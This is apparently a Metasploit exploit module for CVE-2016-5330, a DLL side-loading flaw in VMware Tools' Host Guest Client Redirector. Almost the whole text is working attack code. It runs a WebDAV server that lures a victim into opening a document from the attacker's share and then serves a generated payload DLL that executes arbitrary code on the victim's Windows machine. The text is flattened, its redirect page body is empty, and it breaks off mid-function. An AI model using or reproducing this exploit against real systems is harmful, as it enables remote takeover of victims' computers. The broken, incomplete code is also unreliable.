## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector', 'Description' => %q{ A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, a component of VMware Tools. This issue can be exploited by luring a victim into opening a document from the attacker's share. An attacker can exploit this issue to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. If the WebDAV Mini-Redirector is enabled, it is possible to exploit this issue over the internet. }, 'Author' => 'Yorick Koster', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-5330'], ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'], ['URL', 'https://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', {'Arch' => ARCH_X64,} ], [ 'Windows x86', {'Arch' => ARCH_X86,} ] ], 'Privileged' => false, 'DisclosureDate' => '2016-08-05', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]), OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]) ]) # no SSL deregister_options('SSL', 'SSLVersion', 'SSLCert') end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /vmhgfs\.dll$/i) print_status("GET => DLL Payload (#{request.uri})") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end if (request.uri =~ /\.docx$/i) print_status("GET => DOCX (#{request.uri})") send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }) return end if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) print_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|
| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end print_status("GET => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '